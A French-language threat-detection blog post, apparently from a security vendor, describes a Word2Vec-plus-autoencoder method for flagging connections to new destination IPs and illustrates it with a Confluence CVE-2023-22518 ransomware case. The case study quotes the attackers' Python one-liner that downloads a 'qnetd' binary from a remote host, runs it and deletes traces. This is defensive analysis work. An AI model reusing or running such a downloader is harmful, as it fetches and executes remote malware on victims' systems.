Introduction
La sécurisation du trafic réseau d'entreprise est essentielle pour contrer les acteurs malveillants qui tentent de nuire aux entreprises et de causer des dommages irréparables. L'identification de nouvelles adresses IP de destination potentiellement malveillantes joue un rôle clé dans cette défense : on ne peut pas protéger ce que l'on ignore.
La capacité à détecter les connexions anormales à des adresses IP de destination jusqu'alors inconnues constitue un outil puissant, offrant aux administrateurs des informations et des alertes sur les menaces potentielles.
Nous mettons l'accent sur la détection de ces nouvelles adresses IP de destination, car les acteurs malveillants les exploitent souvent pour contourner les mesures de sécurité traditionnelles.
Dans cet article de blog, nous présentons une méthode d'apprentissage automatique qui détecte les connexions anormales aux nouvelles adresses IP de destination accessibles à partir des nœuds du réseau. Nous avons utilisé les métadonnées des connexions pour mettre au point cette méthode. Notre approche repose sur l'utilisation de l'algorithme Word2Vec pour représenter les fonctions associées aux adresses IP de destination et d'un autoencodeur en dernière étape.
Nous avons appliqué cette méthode dans le cadre d'une campagne réelle, qui a permis une détection efficace de la menace. Les adresses IP suspectes sont potentiellement impliquées dans des activités malveillantes, telles que les serveurs de commande et contrôle (C2), les botnets et les domaines d'hameçonnage. Par conséquent, une détection rapide peut faire la différence entre une alerte et un incident.
L'identification d'une nouvelle adresse IP de destination suspecte est difficile
Nous avons dû relever plusieurs défis dans nos efforts de détection et d'atténuation des menaces liées aux nouvelles adresses IP de destination inconnues. En l'absence de réputation connue ou de données historiques, ces adresses IP échappent aux mécanismes de détection classiques. Du fait de leur caractère inédit, il est complexe de différencier les premières communications légitimes des connexions malveillantes, celles-ci pouvant ressembler au trafic réseau habituel.
L'analyse de la séquence du processus source, du port de destination, du numéro de système autonome (ASN) et de la géolocalisation associés à l'adresse IP de destination a permis de relever ces défis. Cette approche nous a offert une compréhension plus approfondie du contexte du trafic réseau et a considérablement amélioré notre capacité à identifier et à signaler les nouvelles adresses IP de destination suspectes.
Détection des anomalies
Notre méthodologie utilise des techniques d'apprentissage automatique qui répondent aux défis uniques de la détection des anomalies dans le trafic réseau. Nous collectons diverses métadonnées associées aux données de trafic réseau qui contiennent des informations essentielles sur les processus source, les ports de destination, les ASN, les géolocalisations, etc. Une analyse approfondie nécessite divers ensembles de données et une classification est requise pour produire des résultats pertinents.
Nous catégorisons et regroupons le processus source et le port de destination en fonction de leurs rôles respectifs pour faciliter l'analyse. Par exemple, nous avons regroupé les ports standard de différents serveurs SQL (Structured Query Language) (tels que MSSQL 1433 et MySQL 3306) dans une seule catégorie : serveur SQL.
Utilisation de l'apprentissage automatique pour détecter les anomalies
Nous appliquons l'algorithme Word2Vec pour repérerles similitudes sémantiques entre les différentes adresses IP en fonction du contexte de l'analyse réseau. Word2Vec, initialement développé pour le traitement du langage naturel, apprend les représentations vectorielles en analysant le contexte dans lequel les éléments apparaissent.
Notre approche consiste à modéliser des séquences de métadonnées réseau en tant qu'entrée de l'algorithme, ce qui lui permet d'apprendre des intégrations pertinentes qui reflètent les relations comportementales au sein du réseau. Cela permet une détection des anomalies et une reconnaissance des modèles plus efficaces.
En représentant les adresses IP sous forme de vecteurs à haute dimension, nous permettons à l'algorithme d'identifier les modèles d'adresses IP qui apparaissent fréquemment ensemble dans le trafic réseau. Les adresses IP proches dans l'espace vectoriel présentent de fortes relations contextuelles, tandis que les aberrations ou les anomalies se situent plus loin. Cette approche offre des informations précieuses sur la structure et la dynamique du trafic réseau.
Au cours de la dernière étape de notre méthodologie, nous utilisons un autoencodeur, un type de réseau neuronal artificiel conçu pour l'apprentissage non supervisé qui vise à compresser et à reconstruire efficacement les données d'entrée. L'autoencodeur nous permet de détecter les anomalies dans le trafic réseau sans dépendre de données d'entraînement étiquetées. Notre algorithme s'adapte ainsi à l'évolution des scénarios de menaces et peut détecter efficacement de nouveaux modèles d'attaques.
Les fonctions d'intégration sont transmises à l'autoencodeur, ce qui lui permet d'apprendre et de reconstruire les modèles de trafic réseau normaux (Figure 1). Les connexions présentant des erreurs de reconstruction élevées sont signalées comme des activités malveillantes potentielles.
Validation des anomalies
L'un des principes fondamentaux de cette méthodologie repose sur un examen et un apprentissage continus. En appliquant notre algorithme, nous pouvons examiner quotidiennement toutes les nouvelles adresses IP de destination et vérifier chaque connexion entre elles pour identifier les anomalies et, par conséquent, les comportements potentiellement malveillants.
La Figure 2 illustre un exemple quotidien réel pour un client. 462 nouvelles adresses IP de destination ont été observées en une seule journée.
La ligne horizontale rouge représente le seuil à partir duquel une connexion est signalée comme anormale. Toute connexion entraînant une erreur de reconstruction dépassant ce seuil est jugée suspecte.
Les points bleus indiquent les adresses IP que notre système a déterminées comme bénignes, car elles affichaient de faibles erreurs de reconstruction et correspondaient au modèle attendu de comportement du réseau.
Le point orange représente une adresse IP unique que notre analyse a identifiée comme anormale en raison de son erreur de reconstruction élevée.
L'anomalie a ensuite été étudiée et confirmée comme faisant partie d'une campagne d'attaque, soulignant la robustesse et l'importance cruciale de nos mécanismes de détection. La section suivante aborde les détails de l'attaque.
Comment notre algorithme a détecté une attaque dans l'environnement d'un client
Bien que prometteuse en théorie, la nouvelle méthodologie devait démontrer son efficacité sur le terrain. Nous avons choisi d'exécuter notre algorithme contre une attaque précédemment détectée, liée à une campagne connue exploitant la vulnérabilité CVE-2023-22518 de Confluence. Cette attaque a conduit à l'exécution de code à distance et au déploiement d'un ransomware.
Dans ce cas, l'exploitation initiale a permis aux attaquants d'accéder au serveur sans autorisation. Ils ont établi une connexion à un serveur de commande et contrôle (C2) via Python et ont téléchargé un fichier malveillant nommé qnetd (Figure 3).
python3 -c import os,sys,time import platform as p if sys.version_info.major == 3: import urllib.request as u else: import urllib2 as u h = /tmp/lru d = ./qnetd ml = {3x:[i386,i686], 6x:[x86_64,amd64], 3a:[arm], 6a:[aarch64]} try: m = p.machine().lower() if os.popen(id -u).read().strip() == 0: try: os.chdir(/var) except: os.chdir(/tmp) else: os.chdir(/tmp) for l in open(h): for k,al in ml.items(): for a in al: if a == m: l = l+.+k r = u.urlopen(l) with open(d, wb) as f: f.write(r.read()) f.flush() r.close() os.system(chmod +x +d) os.system(chmod 755 +d) os.system(d + > /dev/null 2>&1 &) time.sleep(5) os.remove(d) os.remove(h) except: if os.path.exists(h): os.remove(h) if os.path.exists(d): os.remove(d) pass
Nous avons observé que deux serveurs communiquaient avec l'adresse IP malveillante, qui faisait partie de la vaste campagne CVE-2023-22518 affectant le produit Confluence d'Atlassian et liée aux processus Python et qnetd, qui ont été détectés par notre méthode en raison d'une géolocalisation anormale (Figure 4).
Activation de l'identification proactive des connexions réseau suspectes
La détection des connexions réseau anormales aux nouvelles adresses IP de destination est un aspect essentiel de la cybersécurité d'entreprise. En tirant parti des techniques Word2Vec et d'autoencodeur, notre approche analyse les métadonnées du trafic réseau (processus source, ports de destination et géolocalisation) pour identifier les menaces de sécurité potentielles susceptibles de contourner les méthodes de détection traditionnelles.
Dans une étude de cas réelle, notre méthode a permis de détecter une attaque sophistiquée exploitant une vulnérabilité de Confluence (CVE-2023-22518), démontrant ainsi son efficacité dans la détection d'une adresse IP malveillante impliquée dans une campagne de déploiement de ransomware.
Cette technique permet aux entreprises d'identifier de manière proactive les connexions réseau suspectes en apprenant à repérer les écarts par rapport aux schémas de trafic normaux.
En savoir plus
Pour en savoir plus sur notre service géré de recherche des menaces, rendez-vous sur notre page Web Akamai Hunt.
Balises